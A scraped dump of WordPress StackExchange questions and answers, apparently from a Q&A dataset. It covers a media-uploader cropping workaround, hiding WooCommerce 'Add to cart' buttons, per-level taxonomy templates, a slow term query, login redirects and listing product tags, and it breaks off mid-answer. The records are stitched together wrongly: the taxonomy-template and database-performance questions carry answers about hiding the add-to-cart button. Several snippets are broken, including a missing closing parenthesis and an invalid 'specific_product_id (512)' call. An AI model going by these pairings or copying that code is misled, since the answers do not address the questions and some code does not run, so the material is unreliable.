First use the code given by @Darren on any page. For simplicity I've combined PHP and JS code in single block: ``` <?php $heading_picture = esc_attr(get_option( 'heading_picture' )); ?> <input type="hidden" name="heading_picture" id="heading_picture" value="<?php echo $heading_picture; ?>" /> <img id="heading_picture_preview" class="heading-picture" src="<?php echo $heading_picture; ?>" /> <button id="btn_heading_picture" name="btn_heading_picture" class="button default">Choose Picture</button> <script> jQuery(function($) { function myTheme_calculateImageSelectOptions(attachment, controller) { var control = controller.get( 'control' ); var flexWidth = !! parseInt( control.params.flex_width, 10 ); var flexHeight = !! parseInt( control.params.flex_height, 10 ); var realWidth = attachment.get( 'width' ); var realHeight = attachment.get( 'height' ); var xInit = parseInt(control.params.width, 10); var yInit = parseInt(control.params.height, 10); var ratio = xInit / yInit; controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) ); var xImg = xInit; var yImg = yInit; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } var x1 = ( realWidth - xInit ) / 2; var y1 = ( realHeight - yInit ) / 2; var imgSelectOptions = { handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1 }; return imgSelectOptions; } function myTheme_setImageFromURL(url, attachmentId, width, height) { var choice, data = {}; data.url = url; data.thumbnail_url = url; data.timestamp = _.now(); if (attachmentId) { data.attachment_id = attachmentId; } if (width) { data.width = width; } if (height) { data.height = height; } $("#heading_picture").val( url ); $("#heading_picture_preview").prop("src", url); } function myTheme_setImageFromAttachment(attachment) { $("#heading_picture").val( attachment.url ); $("#heading_picture_preview").prop("src", attachment.url); } var mediaUploader; $("#btn_heading_picture").on("click", function(e) { e.preventDefault(); /* We need to setup a Crop control that contains a few parameters and a method to indicate if the CropController can skip cropping the image. In this example I am just creating a control on the fly with the expected properties. However, the controls used by WordPress Admin are api.CroppedImageControl and api.SiteIconControl */ var cropControl = { id: "control-id", params : { flex_width : false, // set to true if the width of the cropped image can be different to the width defined here flex_height : true, // set to true if the height of the cropped image can be different to the height defined here width : 300, // set the desired width of the destination image here height : 200, // set the desired height of the destination image here } }; cropControl.mustBeCropped = function(flexW, flexH, dstW, dstH, imgW, imgH) { // If the width and height are both flexible // then the user does not need to crop the image. if ( true === flexW && true === flexH ) { return false; } // If the width is flexible and the cropped image height matches the current image height, // then the user does not need to crop the image. if ( true === flexW && dstH === imgH ) { return false; } // If the height is flexible and the cropped image width matches the current image width, // then the user does not need to crop the image. if ( true === flexH && dstW === imgW ) { return false; } // If the cropped image width matches the current image width, // and the cropped image height matches the current image height // then the user does not need to crop the image. if ( dstW === imgW && dstH === imgH ) { return false; } // If the destination width is equal to or greater than the cropped image width // then the user does not need to crop the image... if ( imgW <= dstW ) { return false; } return true; }; /* NOTE: Need to set this up every time instead of reusing if already there as the toolbar button does not get reset when doing the following: mediaUploader.setState('library'); mediaUploader.open(); */ mediaUploader = wp.media({ button: { text: 'Select and Crop', // l10n.selectAndCrop, close: false }, states: [ new wp.media.controller.Library({ title: 'Select and Crop', // l10n.chooseImage, library: wp.media.query({ type: 'image' }), multiple: false, date: false, priority: 20, suggestedWidth: 300, suggestedHeight: 200 }), new wp.media.controller.CustomizeImageCropper({ imgSelectOptions: myTheme_calculateImageSelectOptions, control: cropControl }) ] }); mediaUploader.on('cropped', function(croppedImage) { var url = croppedImage.url, attachmentId = croppedImage.attachment_id, w = croppedImage.width, h = croppedImage.height; myTheme_setImageFromURL(url, attachmentId, w, h); }); mediaUploader.on('skippedcrop', function(selection) { var url = selection.get('url'), w = selection.get('width'), h = selection.get('height'); myTheme_setImageFromURL(url, selection.id, w, h); }); mediaUploader.on("select", function() { var attachment = mediaUploader.state().get( 'selection' ).first().toJSON(); if ( cropControl.params.width === attachment.width && cropControl.params.height === attachment.height && ! cropControl.params.flex_width && ! cropControl.params.flex_height ) { myTheme_setImageFromAttachment( attachment ); mediaUploader.close(); } else { mediaUploader.setState( 'cropper' ); } }); mediaUploader.open(); }); }); </script> ``` Then in some **plugin** use following code: ``` add_action( 'wp_enqueue_scripts', 'vna_wp_enqueue_scripts' ); function vna_wp_enqueue_scripts() { wp_enqueue_media(); wp_enqueue_script( 'imgareaselect', get_bloginfo('url') . '/wp-includes/js/imgareaselect/jquery.imgareaselect.js', array( 'jquery' ), '1', true ); wp_enqueue_style( 'imgareaselect', get_bloginfo('url') . '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' ); } add_action( 'setup_theme','vna_wp_ajax_crop_image', 1 ); function vna_wp_ajax_crop_image() { global $wp_customize; if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'crop-image') { $post = new WP_Post(new stdClass()); $post->ID = $_REQUEST['id']; $post->post_type = 'customize_changeset'; $post->filter = 'raw'; wp_cache_set($wp_customize->changeset_uuid(), $post, 'customize_changeset_post'); } } ``` **Notes:** 1. There is lot of dependency on admin JS files. Earlier I was trying to add these files one after other based on the JS errors I was getting during testing. Then I found `wp_enqueue_media()` which does most of the work. It still doesn't load `imgareaselect` JS and CSS, so we have to load them explicitly. 2. The above code must be in a **plugin**. I was trying the code in a theme and it was not working because the `setup_theme` action in theme gets called after the expected event (explained below). To avoid it I had to put it in plugin. 3. Cropping functionality works only when a user is logged in and has **edit\_post** permission on the image. If not, you will get `0` as the response from `admin-ajax.php` when the action is `crop-image`. 4. *The hacky way*: Execute the above code on `setup_theme` action with priority set to `1`. This is because `class WP_Customize_Manager` has a `setup_theme` method that gets executed and checks for the presence of a post id / post which is of type `customize_changeset`. Also the post filter needs to be `raw` otherwise it tries to load the post from DB for the given post ID (in this case we are setting the image id as the post ID) which results in post type getting set to `attachment`. If the check fails (it doesn't find a post for given ID that is of type `customize_changeset`) then you get `-1` as the response from `admin-ajax.php` when the action is `crop-image`. Instead of creating a valid changeset post in DB, I just created a dummy post object and added it to cache. The code doesn't look much but as I mentioned earlier in [my comment](https://wordpress.stackexchange.com/questions/281760/using-media-uploader-to-select-image-of-specific-size-enforce-cropper/302962?noredirect=1#comment461459_302962) it was really a pain to find out all these conditions. I'm glad I managed it afterall.
281,761
<p>I want to disable the 'Add to cart' button when product is out of stock with PHP code or a WooCommerce admin setting.</p>
[ { "answer_id": 281763, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 2, "selected": false, "text": "<p>Here are some plugins which provide the facilities to hide \"Add To Cart\" buttons from the shop and single product page in woocommerce,</p>\n\n<p>[ <a href=\"https://wordpress.org/plugins/hide-add-to-cart-button/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/hide-add-to-cart-button/</a>) ]</p>\n\n<p>[ <a href=\"https://wordpress.org/plugins/remove-add-to-cart-woocommerce/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/remove-add-to-cart-woocommerce/</a> ]</p>\n\n<p>These plugins will do,</p>\n\n<p>1) Hide Add to Cart button from product single page.\n2) Hide Add to Cart button from category page.\n3) Hide Add to Cart button from homepage and all other pages.</p>\n\n<p>Also you can hide it via adding the below function in functions.php,</p>\n\n<pre><code> /*\n * Override via functions.php\n **/\n if (!function_exists('woocommerce_template_loop_add_to_cart')) {\n function woocommerce_template_loop_add_to_cart() {\n global $product;\n if ( ! $product-&gt;is_in_stock() || ! $product-&gt;is_purchasable() ) return;\n woocommerce_get_template('loop/add-to-cart.php');\n }\n}\n</code></pre>\n" }, { "answer_id": 281773, "author": "Vivek Athalye", "author_id": 119672, "author_profile": "https://wordpress.stackexchange.com/users/119672", "pm_score": 2, "selected": false, "text": "<p>Instead of overriding the function, it would be better to handle <code>woocommerce_is_purchasable</code> filter.</p>\n<pre><code>add_filter( 'woocommerce_is_purchasable', 'vna_is_purchasable', 10, 2 );\nfunction vna_is_purchasable( $purchasable, $product ){\n return true || false; // depending on your condition\n}\n</code></pre>\n" }, { "answer_id": 284691, "author": "suthanalley", "author_id": 124808, "author_profile": "https://wordpress.stackexchange.com/users/124808", "pm_score": 0, "selected": false, "text": "<p>To remove add to cart button from specific product page you can add this code in functions.php (located in the theme folder): </p>\n\n<pre><code>add_filter('woocommerce_is_purchasable', 'wpblog_specific_product');\nfunction wpblog_specific_product($purchaseable_product_wpblog, $product) {\nreturn ($product-&gt;id == specific_product_id (512) ? false : $purchaseable_product_wpblog);\n}\n</code></pre>\n\n<p>Reference: <a href=\"https://www.wpblog.com/add-to-cart-button-in-woocommerce-store/\" rel=\"nofollow noreferrer\">https://www.wpblog.com/add-to-cart-button-in-woocommerce-store/</a></p>\n" }, { "answer_id": 339455, "author": "ThemeHigh", "author_id": 167623, "author_profile": "https://wordpress.stackexchange.com/users/167623", "pm_score": -1, "selected": false, "text": "<p>I think you can use the following snippet:</p>\n\n<pre><code>add_action( 'woocommerce_after_shop_loop_item', function() {\n remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );\n};\n</code></pre>\n" }, { "answer_id": 386964, "author": "Laurent S.", "author_id": 205242, "author_profile": "https://wordpress.stackexchange.com/users/205242", "pm_score": 1, "selected": false, "text": "<p>I came across this question upon helping a friend. Not being a wordpress developer myself, let alone woocommerce, I still managed to have something to work without writing any PHP, only with CSS.</p>\n<p>It seems WooCommerce does a good job &quot;transforming&quot; many product properties in CSS classes that are then assigned to HTML containers. I'm not sure if it's related to the theme, but in my case I ended up with some container having the class &quot;instock&quot; when product was in stock, and &quot;outofstock&quot; when product was...out of stock.</p>\n<p>When I noticed that, it didn't take me long to come with some CSS rules to:</p>\n<ol>\n<li>Hide the button</li>\n<li>Show a message instead, using CSS pseudo-element and content</li>\n<li>Make some part of the product tile semi-transparent so that they look more &quot;inactive&quot;</li>\n</ol>\n<p>I wouldn't advise it for production code for a big company, but in my case that did the job good enough. Oh and it works fine with products having variations, they get the &quot;outofstock&quot; class only when all variations are out of stock</p>\n<p>I won't post any code cause as I said I'm no expert so I can not tell whether my HTML is &quot;generic woocommerce&quot; or linked with the theme used or even completely custom (I'm not the one creating and managing the site usually), but still I think it can help as it helped me big time.</p>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281761", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128942/" ]
I want to disable the 'Add to cart' button when product is out of stock with PHP code or a WooCommerce admin setting.
Here are some plugins which provide the facilities to hide "Add To Cart" buttons from the shop and single product page in woocommerce, [ <https://wordpress.org/plugins/hide-add-to-cart-button/>) ] [ <https://wordpress.org/plugins/remove-add-to-cart-woocommerce/> ] These plugins will do, 1) Hide Add to Cart button from product single page. 2) Hide Add to Cart button from category page. 3) Hide Add to Cart button from homepage and all other pages. Also you can hide it via adding the below function in functions.php, ``` /* * Override via functions.php **/ if (!function_exists('woocommerce_template_loop_add_to_cart')) { function woocommerce_template_loop_add_to_cart() { global $product; if ( ! $product->is_in_stock() || ! $product->is_purchasable() ) return; woocommerce_get_template('loop/add-to-cart.php'); } } ```
281,775
<p>I'm looking for a solution to dynamically create different templates for each category level.</p> <p>Category</p> <p>--Category</p> <p>---Category</p> <p>----Category</p> <p>I thought of something to get the taxonomy current level ID, to use a function like below, but I did not find a solution.</p> <p>I have not found anything that returns me level or a unique ID for each level in a taxonomy</p> <pre><code>$term = get_term_by( 'slug', get_query_var('term'), get_query_var('taxonomy') ); echo $term-&gt;cat_level_id; switch ($current_level_id) { case 'level_1': get_template_part( 'taxonomy-content-level_1',); break; case 'level_2': get_template_part( 'taxonomy-content-level_2',); break; case 'level_3': get_template_part( 'taxonomy-content-level_3',); break; case 'level_4': get_template_part( 'taxonomy-content-level_4' ); break; } </code></pre> <p>I know that wordpress understands taxonomy-custom-slug.php, but it's not something I can use because it's not feasible to create templates since there are many categories / sub.</p> <p>Thanks in advance for your attention.</p>
[ { "answer_id": 281763, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 2, "selected": false, "text": "<p>Here are some plugins which provide the facilities to hide \"Add To Cart\" buttons from the shop and single product page in woocommerce,</p>\n\n<p>[ <a href=\"https://wordpress.org/plugins/hide-add-to-cart-button/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/hide-add-to-cart-button/</a>) ]</p>\n\n<p>[ <a href=\"https://wordpress.org/plugins/remove-add-to-cart-woocommerce/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/remove-add-to-cart-woocommerce/</a> ]</p>\n\n<p>These plugins will do,</p>\n\n<p>1) Hide Add to Cart button from product single page.\n2) Hide Add to Cart button from category page.\n3) Hide Add to Cart button from homepage and all other pages.</p>\n\n<p>Also you can hide it via adding the below function in functions.php,</p>\n\n<pre><code> /*\n * Override via functions.php\n **/\n if (!function_exists('woocommerce_template_loop_add_to_cart')) {\n function woocommerce_template_loop_add_to_cart() {\n global $product;\n if ( ! $product-&gt;is_in_stock() || ! $product-&gt;is_purchasable() ) return;\n woocommerce_get_template('loop/add-to-cart.php');\n }\n}\n</code></pre>\n" }, { "answer_id": 281773, "author": "Vivek Athalye", "author_id": 119672, "author_profile": "https://wordpress.stackexchange.com/users/119672", "pm_score": 2, "selected": false, "text": "<p>Instead of overriding the function, it would be better to handle <code>woocommerce_is_purchasable</code> filter.</p>\n<pre><code>add_filter( 'woocommerce_is_purchasable', 'vna_is_purchasable', 10, 2 );\nfunction vna_is_purchasable( $purchasable, $product ){\n return true || false; // depending on your condition\n}\n</code></pre>\n" }, { "answer_id": 284691, "author": "suthanalley", "author_id": 124808, "author_profile": "https://wordpress.stackexchange.com/users/124808", "pm_score": 0, "selected": false, "text": "<p>To remove add to cart button from specific product page you can add this code in functions.php (located in the theme folder): </p>\n\n<pre><code>add_filter('woocommerce_is_purchasable', 'wpblog_specific_product');\nfunction wpblog_specific_product($purchaseable_product_wpblog, $product) {\nreturn ($product-&gt;id == specific_product_id (512) ? false : $purchaseable_product_wpblog);\n}\n</code></pre>\n\n<p>Reference: <a href=\"https://www.wpblog.com/add-to-cart-button-in-woocommerce-store/\" rel=\"nofollow noreferrer\">https://www.wpblog.com/add-to-cart-button-in-woocommerce-store/</a></p>\n" }, { "answer_id": 339455, "author": "ThemeHigh", "author_id": 167623, "author_profile": "https://wordpress.stackexchange.com/users/167623", "pm_score": -1, "selected": false, "text": "<p>I think you can use the following snippet:</p>\n\n<pre><code>add_action( 'woocommerce_after_shop_loop_item', function() {\n remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );\n};\n</code></pre>\n" }, { "answer_id": 386964, "author": "Laurent S.", "author_id": 205242, "author_profile": "https://wordpress.stackexchange.com/users/205242", "pm_score": 1, "selected": false, "text": "<p>I came across this question upon helping a friend. Not being a wordpress developer myself, let alone woocommerce, I still managed to have something to work without writing any PHP, only with CSS.</p>\n<p>It seems WooCommerce does a good job &quot;transforming&quot; many product properties in CSS classes that are then assigned to HTML containers. I'm not sure if it's related to the theme, but in my case I ended up with some container having the class &quot;instock&quot; when product was in stock, and &quot;outofstock&quot; when product was...out of stock.</p>\n<p>When I noticed that, it didn't take me long to come with some CSS rules to:</p>\n<ol>\n<li>Hide the button</li>\n<li>Show a message instead, using CSS pseudo-element and content</li>\n<li>Make some part of the product tile semi-transparent so that they look more &quot;inactive&quot;</li>\n</ol>\n<p>I wouldn't advise it for production code for a big company, but in my case that did the job good enough. Oh and it works fine with products having variations, they get the &quot;outofstock&quot; class only when all variations are out of stock</p>\n<p>I won't post any code cause as I said I'm no expert so I can not tell whether my HTML is &quot;generic woocommerce&quot; or linked with the theme used or even completely custom (I'm not the one creating and managing the site usually), but still I think it can help as it helped me big time.</p>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281775", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128952/" ]
I'm looking for a solution to dynamically create different templates for each category level. Category --Category ---Category ----Category I thought of something to get the taxonomy current level ID, to use a function like below, but I did not find a solution. I have not found anything that returns me level or a unique ID for each level in a taxonomy ``` $term = get_term_by( 'slug', get_query_var('term'), get_query_var('taxonomy') ); echo $term->cat_level_id; switch ($current_level_id) { case 'level_1': get_template_part( 'taxonomy-content-level_1',); break; case 'level_2': get_template_part( 'taxonomy-content-level_2',); break; case 'level_3': get_template_part( 'taxonomy-content-level_3',); break; case 'level_4': get_template_part( 'taxonomy-content-level_4' ); break; } ``` I know that wordpress understands taxonomy-custom-slug.php, but it's not something I can use because it's not feasible to create templates since there are many categories / sub. Thanks in advance for your attention.
Here are some plugins which provide the facilities to hide "Add To Cart" buttons from the shop and single product page in woocommerce, [ <https://wordpress.org/plugins/hide-add-to-cart-button/>) ] [ <https://wordpress.org/plugins/remove-add-to-cart-woocommerce/> ] These plugins will do, 1) Hide Add to Cart button from product single page. 2) Hide Add to Cart button from category page. 3) Hide Add to Cart button from homepage and all other pages. Also you can hide it via adding the below function in functions.php, ``` /* * Override via functions.php **/ if (!function_exists('woocommerce_template_loop_add_to_cart')) { function woocommerce_template_loop_add_to_cart() { global $product; if ( ! $product->is_in_stock() || ! $product->is_purchasable() ) return; woocommerce_get_template('loop/add-to-cart.php'); } } ```
281,778
<p>Since 2017-09-26 I have terrible problems with performance on my website.</p> <p>Loading single post or any other page takes even 20s. I've been debugging it it found out, that the problems are DB queries.</p> <p>For example this one is executing almost with every page load and takes about 36s:</p> <pre><code>SELECT t.*, tt.*, tr.object_id FROM az2_terms AS t INNER JOIN az2_term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN az2_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('znacka', 'model') AND tr.object_id IN (27130, 27290, 27822, 27899, 30862, 33536, 33721, 34901, 37448, 37482, 37496, 37522, 37572, 37580, 37742, 37750, 38160, 38165) ORDER BY t.name ASC </code></pre> <p>When it's executing for the second time, it's lamost instant. Since the 2017-09-26 I haven(t made any changes, only switched to HTTPS, could that be the problem?</p>
[ { "answer_id": 281763, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 2, "selected": false, "text": "<p>Here are some plugins which provide the facilities to hide \"Add To Cart\" buttons from the shop and single product page in woocommerce,</p>\n\n<p>[ <a href=\"https://wordpress.org/plugins/hide-add-to-cart-button/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/hide-add-to-cart-button/</a>) ]</p>\n\n<p>[ <a href=\"https://wordpress.org/plugins/remove-add-to-cart-woocommerce/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/remove-add-to-cart-woocommerce/</a> ]</p>\n\n<p>These plugins will do,</p>\n\n<p>1) Hide Add to Cart button from product single page.\n2) Hide Add to Cart button from category page.\n3) Hide Add to Cart button from homepage and all other pages.</p>\n\n<p>Also you can hide it via adding the below function in functions.php,</p>\n\n<pre><code> /*\n * Override via functions.php\n **/\n if (!function_exists('woocommerce_template_loop_add_to_cart')) {\n function woocommerce_template_loop_add_to_cart() {\n global $product;\n if ( ! $product-&gt;is_in_stock() || ! $product-&gt;is_purchasable() ) return;\n woocommerce_get_template('loop/add-to-cart.php');\n }\n}\n</code></pre>\n" }, { "answer_id": 281773, "author": "Vivek Athalye", "author_id": 119672, "author_profile": "https://wordpress.stackexchange.com/users/119672", "pm_score": 2, "selected": false, "text": "<p>Instead of overriding the function, it would be better to handle <code>woocommerce_is_purchasable</code> filter.</p>\n<pre><code>add_filter( 'woocommerce_is_purchasable', 'vna_is_purchasable', 10, 2 );\nfunction vna_is_purchasable( $purchasable, $product ){\n return true || false; // depending on your condition\n}\n</code></pre>\n" }, { "answer_id": 284691, "author": "suthanalley", "author_id": 124808, "author_profile": "https://wordpress.stackexchange.com/users/124808", "pm_score": 0, "selected": false, "text": "<p>To remove add to cart button from specific product page you can add this code in functions.php (located in the theme folder): </p>\n\n<pre><code>add_filter('woocommerce_is_purchasable', 'wpblog_specific_product');\nfunction wpblog_specific_product($purchaseable_product_wpblog, $product) {\nreturn ($product-&gt;id == specific_product_id (512) ? false : $purchaseable_product_wpblog);\n}\n</code></pre>\n\n<p>Reference: <a href=\"https://www.wpblog.com/add-to-cart-button-in-woocommerce-store/\" rel=\"nofollow noreferrer\">https://www.wpblog.com/add-to-cart-button-in-woocommerce-store/</a></p>\n" }, { "answer_id": 339455, "author": "ThemeHigh", "author_id": 167623, "author_profile": "https://wordpress.stackexchange.com/users/167623", "pm_score": -1, "selected": false, "text": "<p>I think you can use the following snippet:</p>\n\n<pre><code>add_action( 'woocommerce_after_shop_loop_item', function() {\n remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );\n};\n</code></pre>\n" }, { "answer_id": 386964, "author": "Laurent S.", "author_id": 205242, "author_profile": "https://wordpress.stackexchange.com/users/205242", "pm_score": 1, "selected": false, "text": "<p>I came across this question upon helping a friend. Not being a wordpress developer myself, let alone woocommerce, I still managed to have something to work without writing any PHP, only with CSS.</p>\n<p>It seems WooCommerce does a good job &quot;transforming&quot; many product properties in CSS classes that are then assigned to HTML containers. I'm not sure if it's related to the theme, but in my case I ended up with some container having the class &quot;instock&quot; when product was in stock, and &quot;outofstock&quot; when product was...out of stock.</p>\n<p>When I noticed that, it didn't take me long to come with some CSS rules to:</p>\n<ol>\n<li>Hide the button</li>\n<li>Show a message instead, using CSS pseudo-element and content</li>\n<li>Make some part of the product tile semi-transparent so that they look more &quot;inactive&quot;</li>\n</ol>\n<p>I wouldn't advise it for production code for a big company, but in my case that did the job good enough. Oh and it works fine with products having variations, they get the &quot;outofstock&quot; class only when all variations are out of stock</p>\n<p>I won't post any code cause as I said I'm no expert so I can not tell whether my HTML is &quot;generic woocommerce&quot; or linked with the theme used or even completely custom (I'm not the one creating and managing the site usually), but still I think it can help as it helped me big time.</p>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281778", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128953/" ]
Since 2017-09-26 I have terrible problems with performance on my website. Loading single post or any other page takes even 20s. I've been debugging it it found out, that the problems are DB queries. For example this one is executing almost with every page load and takes about 36s: ``` SELECT t.*, tt.*, tr.object_id FROM az2_terms AS t INNER JOIN az2_term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN az2_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('znacka', 'model') AND tr.object_id IN (27130, 27290, 27822, 27899, 30862, 33536, 33721, 34901, 37448, 37482, 37496, 37522, 37572, 37580, 37742, 37750, 38160, 38165) ORDER BY t.name ASC ``` When it's executing for the second time, it's lamost instant. Since the 2017-09-26 I haven(t made any changes, only switched to HTTPS, could that be the problem?
Here are some plugins which provide the facilities to hide "Add To Cart" buttons from the shop and single product page in woocommerce, [ <https://wordpress.org/plugins/hide-add-to-cart-button/>) ] [ <https://wordpress.org/plugins/remove-add-to-cart-woocommerce/> ] These plugins will do, 1) Hide Add to Cart button from product single page. 2) Hide Add to Cart button from category page. 3) Hide Add to Cart button from homepage and all other pages. Also you can hide it via adding the below function in functions.php, ``` /* * Override via functions.php **/ if (!function_exists('woocommerce_template_loop_add_to_cart')) { function woocommerce_template_loop_add_to_cart() { global $product; if ( ! $product->is_in_stock() || ! $product->is_purchasable() ) return; woocommerce_get_template('loop/add-to-cart.php'); } } ```
281,779
<p>I am using Theme My Login plugin to change the login page from "/wp-login.php" to "/login".</p> <p>My question is how do I redirect a user that has already logged in so that visiting "/login" instead takes them to my homepage?</p> <p>Note: I am not talking about the initial redirect after logging in, but rather if someone was to visit the login page again afterwards.</p> <p>I saw a similar question was asked here: <a href="https://wordpress.stackexchange.com/q/270379">wp-login.php — redirect logged in users to custom URL</a></p> <p>I tried using the code posted there, and changed it to:</p> <pre><code>function redirect_logged_in_user() { if( is_user_logged_in ) { wp_redirect('http://my_homepage_url'); } } global $pagenow; if( $pagenow == '/login') redirect_logged_in_user(); </code></pre> <p>but it still does not work.</p> <p>any help would be much appreciated.</p> <p>cheers.</p>
[ { "answer_id": 281780, "author": "Temani Afif", "author_id": 128913, "author_profile": "https://wordpress.stackexchange.com/users/128913", "pm_score": 1, "selected": false, "text": "<p>I advice you to try this, better to the action <strong>login_init</strong>:</p>\n\n<pre><code>add_action('login_init', 'redirect_logged_in_user');\nfunction redirect_logged_in_user()\n{\n global $action;\n\n /* if the user call logout and is not logged in we do nothing*/\n if ('logout' === $action || !is_user_logged_in()) {\n return;\n }\n\n /* we redirect logged in people*/\n wp_redirect('http://my_homepage_url');\n exit;\n}\n</code></pre>\n" }, { "answer_id": 281801, "author": "Tom", "author_id": 128955, "author_profile": "https://wordpress.stackexchange.com/users/128955", "pm_score": 0, "selected": false, "text": "<pre><code> add_action('wp', 'add_login_check');\nfunction add_login_check()\n{\n if ( is_user_logged_in() &amp;&amp; is_page( [6070, 6072] ) ) {\n wp_redirect('http://my_homepage_url');\n exit;\n }\n}\n</code></pre>\n\n<p>i took the code from here: <a href=\"https://stackoverflow.com/a/25992092\">https://stackoverflow.com/a/25992092</a></p>\n\n<p>i then moved the \"add_action('wp', 'add_login_check');\" to the top and added another \"is_page\" (6070=login page ID, 6072=register page ID).</p>\n\n<p>it seems to be holding up so far and allows me to log out.</p>\n\n<p>is this code written well? would it be necessary to change anything?</p>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281779", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128955/" ]
I am using Theme My Login plugin to change the login page from "/wp-login.php" to "/login". My question is how do I redirect a user that has already logged in so that visiting "/login" instead takes them to my homepage? Note: I am not talking about the initial redirect after logging in, but rather if someone was to visit the login page again afterwards. I saw a similar question was asked here: [wp-login.php — redirect logged in users to custom URL](https://wordpress.stackexchange.com/q/270379) I tried using the code posted there, and changed it to: ``` function redirect_logged_in_user() { if( is_user_logged_in ) { wp_redirect('http://my_homepage_url'); } } global $pagenow; if( $pagenow == '/login') redirect_logged_in_user(); ``` but it still does not work. any help would be much appreciated. cheers.
I advice you to try this, better to the action **login\_init**: ``` add_action('login_init', 'redirect_logged_in_user'); function redirect_logged_in_user() { global $action; /* if the user call logout and is not logged in we do nothing*/ if ('logout' === $action || !is_user_logged_in()) { return; } /* we redirect logged in people*/ wp_redirect('http://my_homepage_url'); exit; } ```
281,861
<p>I am trying to display WooCommerce product tags on the home page and category pages. Along with the product title the theme should display any tags in alphabetical order, separated by a “·”.</p> <p>For example: Tag 1 · Tag 2 · Tag 3</p> <p>This is what I have at the moment:</p> <pre><code>&lt;?php echo get_the_tag_list('&lt;span class="woocommerce-display-tag"&gt;Tags: ',' · ','&lt;/span&gt;');?&gt; </code></pre> <p>The output is blank.</p> <p>How can I get this to work?</p>
[ { "answer_id": 281866, "author": "LWS-Mo", "author_id": 88895, "author_profile": "https://wordpress.stackexchange.com/users/88895", "pm_score": 1, "selected": true, "text": "<p>I think <code>get_the_tag_list</code> is only used for the default WordPress tags. WooCommerce product tags are a custom taxonomy called <code>product_tag</code>. Therefore you cannot use this function to return these tags. (anyone please correct me if I am wrong here) </p>\n\n<p>Instead you could use the WordPress <code>get_the_terms()</code> function, to get a \"similar\" result. </p>\n\n<p>Bare bones:</p>\n\n<pre><code>// get product_tags of the current product\n$current_tags = get_the_terms( get_the_ID(), 'product_tag' );\n\n//only start if we have some tags\nif ( $current_tags &amp;&amp; ! is_wp_error( $current_tags ) ) { \n\n //create a list to hold our tags\n echo '&lt;ul class=\"product_tags\"&gt;';\n\n //for each tag we create a list item\n foreach ($current_tags as $tag) {\n\n $tag_title = $tag-&gt;name; // tag name\n $tag_link = get_term_link( $tag );// tag archive link\n\n echo '&lt;li&gt;&lt;a href=\"'.$tag_link.'\"&gt;'.$tag_title.'&lt;/a&gt;&lt;/li&gt;';\n }\n\n echo '&lt;/ul&gt;';\n}\n</code></pre>\n\n<p>If you want to use a special separator and stuff, you will need to fiddle around. </p>\n\n<hr>\n\n<p><strong>Update for separators:</strong> </p>\n\n<p>You have some options for how you want to remove the last separator, or dealing with separators in general here. </p>\n\n<p>The first method is using <strong>CSS only</strong>. For this we first wrap every <code>$tag_title</code> in an HTML element (here a <code>&lt;span&gt;</code>). We do this so that we can target every title.</p>\n\n<pre><code>//for each tag we create a list item\nforeach ($current_tags as $tag) {\n\n $tag_title = $tag-&gt;name; // tag name\n\n echo '&lt;span&gt;'.$tag_title.'&lt;/span&gt;';\n}\n</code></pre>\n\n<p>Than we just add 2 new CSS styles (used your markup):</p>\n\n<pre><code>/* add \" · \" after each span item inside .woocommerce-Price-amount */\n.woocommerce-Price-amount span:after { content: \" · \"; }\n\n/* set content to nothing/remove \" · \" on the last span element */\n.woocommerce-Price-amount span:last-child:after { content: \"\"; }\n</code></pre>\n\n<hr>\n\n<p>You can also add a separator <strong>via PHP</strong>.<br>\nFor this, we first need to get a new array of all <em>keys</em> of our <code>$current_tags</code> array. Then we look for the <em>last found key</em> in this new array. After this we use a <code>foreach loop</code> and in that <em>we compare the current key with the last found key</em>. If these two are the same, we know that we have the last item. </p>\n\n<p>Change your <code>if</code> function:</p>\n\n<pre><code>//only start if we have some tags\nif ( $current_tags &amp;&amp; ! is_wp_error( $current_tags ) ) { \n\n //create a list to hold our tags\n echo '&lt;span class=\"woocommerce-Price-amount amount\"&gt;';\n\n // get all keys from the $current_tags array\n $get_keys = array_keys($current_tags);\n\n // get the last key from our keys\n $last_key = array_pop($get_keys);\n\n //for each tag we create a list item\n foreach ($current_tags as $key =&gt; $value) {\n\n $tag_title = $value-&gt;name; // tag name\n\n if($key == $last_key) {\n echo $tag_title;\n } else {\n echo $tag_title.' · ';\n }\n\n }\n echo 